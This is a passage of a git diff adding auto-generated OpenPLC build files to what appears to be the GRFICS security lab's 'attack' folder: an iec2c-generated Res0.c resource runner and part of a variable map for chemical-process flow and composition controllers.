*data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; 